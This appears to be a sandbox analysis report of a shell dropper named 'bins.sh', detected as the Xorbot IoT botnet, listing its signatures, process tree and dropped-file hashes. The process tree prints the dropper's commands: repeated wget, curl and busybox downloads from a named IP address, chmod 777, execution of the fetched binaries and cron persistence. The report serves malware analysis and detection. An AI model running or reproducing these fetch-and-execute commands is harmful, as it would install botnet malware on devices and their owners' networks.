Analysis

  • max time kernel
    123s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    18/01/2025, 22:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250118-2c27maxpck
  • SHA256 ff48529a246ef164510ba0db27730a27f2f392f60aa4cc89b167d310358304e6
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1708) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:699
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:701
        • /usr/bin/wget
          wget http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://94.154.35.94/bins/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          ./GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Writes file to tmp directory
            PID:735
          • /bin/busybox
            /bin/busybox wget http://94.154.35.94/bins/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            ./YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
            2⤵
              PID:758
            • /usr/bin/wget
              wget http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Writes file to tmp directory
              PID:759
            • /usr/bin/curl
              curl -O http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Writes file to tmp directory
              PID:775
            • /bin/busybox
              /bin/busybox wget http://94.154.35.94/bins/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Writes file to tmp directory
              PID:787
            • /bin/chmod
              chmod 777 14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • File and Directory Permissions Modification
              PID:789
            • /tmp/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              ./14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:790
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:792
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:793
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:794
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:795
                  • /bin/rm
                    rm 14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                    2⤵
                      PID:797
                    • /usr/bin/wget
                      wget http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                      2⤵
                        PID:800
                      • /usr/bin/curl
                        curl -O http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                        2⤵
                          PID:801
                        • /bin/busybox
                          /bin/busybox wget http://94.154.35.94/bins/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                          2⤵
                          • Writes file to tmp directory
                          PID:802
                        • /bin/chmod
                          chmod 777 tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                          2⤵
                          • File and Directory Permissions Modification
                          PID:883
                        • /tmp/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                          ./tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                          2⤵
                          • Executes dropped EXE
                          PID:884
                        • /bin/rm
                          rm tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                          2⤵
                            PID:890
                          • /usr/bin/wget
                            wget http://94.154.35.94/bins/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                            2⤵
                              PID:891
                            • /usr/bin/curl
                              curl -O http://94.154.35.94/bins/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                              2⤵
                                PID:892
                              • /bin/busybox
                                /bin/busybox wget http://94.154.35.94/bins/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                2⤵
                                • Writes file to tmp directory
                                PID:893
                              • /bin/chmod
                                chmod 777 hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                2⤵
                                • File and Directory Permissions Modification
                                PID:897
                              • /tmp/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                ./hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                2⤵
                                • Executes dropped EXE
                                PID:898
                              • /bin/rm
                                rm hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                2⤵
                                  PID:901
                                • /usr/bin/wget
                                  wget http://94.154.35.94/bins/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                  2⤵
                                    PID:903
                                  • /usr/bin/curl
                                    curl -O http://94.154.35.94/bins/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                    2⤵
                                      PID:906
                                    • /bin/busybox
                                      /bin/busybox wget http://94.154.35.94/bins/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:908
                                    • /bin/chmod
                                      chmod 777 VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:925
                                    • /tmp/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                      ./VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                      2⤵
                                      • Executes dropped EXE
                                      PID:927
                                    • /bin/rm
                                      rm VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                      2⤵
                                        PID:930
                                      • /usr/bin/wget
                                        wget http://94.154.35.94/bins/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                        2⤵
                                          PID:931
                                        • /usr/bin/curl
                                          curl -O http://94.154.35.94/bins/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                          2⤵
                                            PID:943
                                          • /bin/busybox
                                            /bin/busybox wget http://94.154.35.94/bins/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:945
                                          • /bin/chmod
                                            chmod 777 ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:950
                                          • /tmp/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                            ./ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                            2⤵
                                            • Executes dropped EXE
                                            PID:951
                                          • /bin/rm
                                            rm ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                            2⤵
                                              PID:953
                                            • /usr/bin/wget
                                              wget http://94.154.35.94/bins/Ub8xaTBBfpSOOC2p47Dt9UBMWFIKIEe3tw
                                              2⤵
                                                PID:954

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM

                                                  • Path /tmp/14FCsD30aCW2nJ3zfmnwPSaXLUMEwDV7BM
                                                  • Size 151KB
                                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E

                                                  • Path /tmp/GBYJSRYjzFlsNal1izONyK5Imh5MIOfN2E
                                                  • Size 151KB
                                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww

                                                  • Path /tmp/VZ6kB8hIdRvXz3YpbS28DIwY31O8X8qhww
                                                  • Size 111KB
                                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV

                                                  • Path /tmp/YLzVzb3m8jHjhc1r57QI1R4YdGND7s4BpV
                                                  • Size 122KB
                                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb

                                                  • Path /tmp/ZiL1EbYJ75VkB28ekxY7U0jfd85NI7euyb
                                                  • Size 107KB
                                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  hNiny7uPCec59HZuv2batExmV3ejIdXUw4

                                                  • Path /tmp/hNiny7uPCec59HZuv2batExmV3ejIdXUw4
                                                  • Size 111KB
                                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3

                                                  • Path /tmp/tMRu6CFAdPvNTkx75FBkXcP4a6FQDaKtF3
                                                  • Size 119KB
                                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.1ZmoOj

                                                  • Path /var/spool/cron/crontabs/tmp.1ZmoOj
                                                  • Size 210B
                                                  • SHA256 e5de8933024eb6ec1b535a5f4c232e8741c0ed2bf69526d741897c32bed34c33
                                                  • MD5 SHA1 SHA512